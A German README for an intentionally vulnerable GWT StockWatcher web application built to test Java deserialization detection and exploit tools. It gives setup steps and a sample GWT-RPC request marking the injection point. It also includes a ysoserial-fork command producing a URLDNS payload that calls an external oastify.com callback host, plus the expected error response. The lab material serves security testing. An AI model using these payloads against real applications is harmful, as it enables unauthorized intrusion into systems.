
Eine absichtlich verwundbare GWT-basierte Webanwendung zum Testen von Werkzeugen und Techniken.
Dies ist eine Version der im GWT-Erste-Schritte-Leitfaden beschriebenen Beispielanwendung StockWatcher, die so modifiziert wurde, dass sie die Funktion „enhanced classes“ von GWT verwendet und dadurch für einen Java-Deserialisierungsangriff anfällig ist. Sie sollte nur zum Testen von Erkennungs- und Exploit-Werkzeugen verwendet werden. Enhanced Classes werden häufig in realen GWT-basierten Anwendungen eingesetzt, aber bis zur Veröffentlichung dieses Beispiels gab es keine leicht auffindbaren Open-Source-Webanwendungen, mit denen Sicherheitsexperten ihre Werkzeuge und Verfahren validieren konnten.
Zum Ausführen der Webanwendung benötigen Sie ein Linux-System mit den folgenden Werkzeugen:
openjdk-11-jre installierenant (über den Paketmanager Ihrer Distribution installieren)Die Anwendung benötigt eine Reihe von JAR-Dateien, die zu groß sind, um sie direkt in die GitHub-Quellcodeverwaltung aufzunehmen. Der einfachste Einstieg ist daher, das neueste Paket von der Release-Seite herunterzuladen und zu entpacken.
Nachdem Sie das Release entpackt haben, bearbeiten Sie diese Zeile in build.xml, um /home/user/GWT/gwt-2.10.0 durch Ihr GWT-SDK-Verzeichnis zu ersetzen:
Führen Sie im Quellcode-Verzeichnis die folgenden Befehle aus:
ant build
ant devmode
Dadurch wird die verwundbare Webanwendung gestartet und unter http://127.0.0.1:8888/StockWatcher.html erreichbar gemacht.
Beachten Sie, dass Sie zusätzlich zu Port 8888 auch Port 9876 weiterleiten sollten, wenn Sie den Datenverkehr zum lokalen Dienst weiterleiten, um ihn remote erreichbar zu machen.
Wenn Sie dieses Repository klonen und die Anwendung ohne das Herunterladen eines Releases ausführen möchten, müssen Sie nach dem Klonen die folgenden JAR-Dateien von Drittanbietern herunterladen und in das Verzeichnis lib einfügen:
Außerdem müssen Sie die folgenden GWT-JAR-Dateien aus Ihrem GWT-Verzeichnis (z. B. gwt-2.10.0/) in das lib-Verzeichnis dieser verwundbaren Anwendung kopieren:
gwt-dev.jargwt-servlet.jargwt-user.jarvalidation-api-1.0.0.GA.jarvalidation-api-1.0.0.GA-sources.jarNachdem Sie alle diese JAR-Dateien kopiert haben, führen Sie die übrigen Schritte aus dem obigen Abschnitt „Schnellstart“ aus.
Laden Sie mit einem Webbrowser, der für die Verbindung über einen Intercepting-Proxy (z. B. Burp Suite) konfiguriert ist, die URL http://127.0.0.1:8888/StockWatcher.html.
Die Seite zeigt zunächst eine Meldung „compiling“ an. Warten Sie, bis sie dieses grundlegende Formular anzeigt:
Geben Sie eine kurze Zeichenfolge in das Feld ein, z. B. BFOX, und klicken Sie dann auf die Schaltfläche Add. Die Seite sollte daraufhin zufällige Aktualisierungen für das simulierte Aktiensymbol anzeigen:
Beachten Sie im Verlauf Ihres Intercepting-Proxys, dass Ihr Browser nun wiederholt POST-Anfragen an http://127.0.0.1:8888/stockwatcher/checkCustomClass1 sendet, ähnlich wie die folgende:
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
Die Base64-codierten Binärdaten rO0ABXcEAAAAAA== sind ein verwundbarer Injektionspunkt in der Anfrage. Um die Webanwendung auszunutzen, müssen Sie einen Ersatz-Payload erzeugen. Um beispielsweise einen URLDNS-Payload mit Bishop Fox' angepasster Version von ysoserial zu erzeugen, können Sie den folgenden Befehl ausführen:
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox \
URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64
Senden Sie eine modifizierte Version der Anfrage, die rO0ABXcEAAAAAA== durch Ihren generierten Payload ersetzt. Die verwundbare Anwendung sollte diesen dann deserialisieren und auslösen. Zusätzlich zu der jeweiligen Aktion, die der Payload verursacht, sollte die Antwort auch eine NoSuchFieldException in Bezug auf den Feldnamen enthalten, wenn der Wert deserialisiert wurde, z. B. unter Verwendung des Namens bishopfox aus dem obigen Beispiel:
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
Wenn Sie das vorgefertigte Release der verwundbaren Webanwendung verwendet oder alle oben genannten JARs manuell zu einem eigenen Build hinzugefügt haben, sollten Sie (mindestens) die folgenden Payloads gegen die Webanwendung verwenden können:
Zum Zeitpunkt der Erstellung dieses Textes unterstützte die Hauptversion von ysoserial keine GWT-formatierten Ausgaben. Verwenden Sie daher unbedingt den angepassten Fork.